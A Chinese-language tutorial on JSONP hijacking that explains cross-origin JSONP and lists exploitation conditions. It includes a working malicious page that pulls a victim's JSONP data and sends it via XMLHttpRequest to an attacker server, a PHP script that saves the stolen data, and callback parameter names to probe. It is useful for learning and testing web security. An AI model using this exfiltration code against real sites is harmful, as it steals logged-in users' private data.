Jsonp劫持挖掘与利用
Jsonp(json with padding)是基于 JSON 格式的为处理跨域请求资源而产生的处理方案,远程调使用 JSON 文件来实现数据传递。利用script元素的开放策略,网页可以得到从其他来源动态产生的json数据,因此可以用来实现跨域。
原理:
浏览器使用同源策略(SOP)对网站安全进行防护,但一定程度限制了前端功能实现,所以就有了很多跨域手段,所有带src或href属性的标签可以跨域
< script src = "..." > </script> <img src="..."> <video src="..."></video > <audio src = "..." > </audio> <embed src="..."> <frame src="..."> <iframe src="..."></iframe > <link rel = "stylesheet"href = "..." > <applet code = "..." > </applet> <object data="..." ></object >
|
JSONP如何跨域呢,比如要在a.com获取b.com/getData.php的数据,可以利用 src 属性标签可以跨域的特点,在 a.com 使用<script>
调用,就是用 script 引入一个文件,然后获取后面携带的 b.com 返回的参数
编写jsonp让客户端获取服务端的接口内容
服务端的jsonp.php
提供数据显示页面,callback他的作用就是回调我们的json
<?php header('Content-type: application/json'); $jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']); $json_data = '["customername1","customername2"]'; echo $jsoncallback . "(" . $json_data . ")"; ?>
|
客户端的callbackFunction.html
通过script标签来获取数据,由callbackFunction函数来输出
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>JSONP 实例</title> </head> <body> <div id="divCustomers"></div> <script type="text/javascript"> function callbackFunction(result, methodName){ var html = '<ul>'; for(var i = 0; i < result.length; i++){ html += '<li>' + result[i] + '</li>'; } html += '</ul>'; document.getElementById('divCustomers').innerHTML = html; } </script> <script type="text/javascript" src="http://xxxxxx/jsonp.php?jsoncallback=callbackFunction"></script> </body> </html>
|
jquery也可以来获取接口
<!DOCTYPE html> <html> <head> <title>JSONP 实例</title> <script src="http://apps.bdimg.com/libs/jquery/1.8.3/jquery.js" rel="external nofollow" ></script> </head> <body> <div id="divCustomers"></div> <script> $.getJSON("/try/ajax/jsonp.php?jsoncallback=?", function(data) { var html = '<ul>'; for(var i = 0; i < data.length; i++){ html += '<li>' + data[i] + '</li>'; } html += '</ul>'; $('#divCustomers').html(html); }); </script> </body> </html>
|
利用条件
- 返回敏感的数据
- 返回一个JSON数组
- 响应一个GET请求
- 发送请求的浏览器启用了 JavaScript
- 发送请求的浏览器支持
__defineSetter__
方法
攻击流程
用户浏览器上保存了 HTTP 的身份认证信息和相关的cookie缓存
用户点击了恶意的链接,此时用户的浏览器会向恶意的网站发送 GET 请求
恶意网站响应用户的请求并返回恶意 JavaScript 语句,当用户的浏览器运行这些 JavaScript 语句时,它就会执行这段代码,访问目标网站,并将数据发送给恶意网站
恶意网站处理收到的 Json 数据
Json劫持攻击
jsonp 劫持就是攻击者获取了本应该传给网站其他接口的数据。
存在漏洞站点页面
首先我们站点存在jsonp调用的页面,可以看到我们的回调方法是test
编写一个恶意客户端来获取到接口信息
<!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <title>json 数据获取测试</title> <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script> </head>
<body> <script>function test(data) { alert(JSON.stringify(data)); }</script> <script src="http://xxxxxx/csrf/jsonp.php?callback=test"></script> </body>
</html>
|
我们再给恶意网页添加上xmlhttp来对我们网页发起请求,将数据传递给我们
<!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <title>json 数据获取测试</title> <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script> </head>
<body> <script> function test(data) { var xmlhttp = new XMLHttpRequest(); var url = "http://xxxxxx/save_json.php?file=" + JSON.stringify(data); xmlhttp.open("GET",url,true); xmlhttp.send(); } </script> <script src="http://xxxxxx/csrf/jsonp.php?callback=test"></script> </body>
</html>
|
恶意服务器处理接收的 Json 数据
save_json.php 用于保存劫持的 json 数据
<?php if($_GET['file']){ file_put_contents('json.txt',$_GET['file']); } ?>
|
之后我们只要诱骗用户点击我们的链接,我们就可以收到劫持到的数据
漏洞挖掘
搜索特定参数,大多数程序员喜欢把jsonp的回传参数命名为callback
callback=attack cb=attack call=attack jsonp=attack jsonpcallback=attack jsonpcb=attack json=attack jsoncallback=attack jcb=attack
|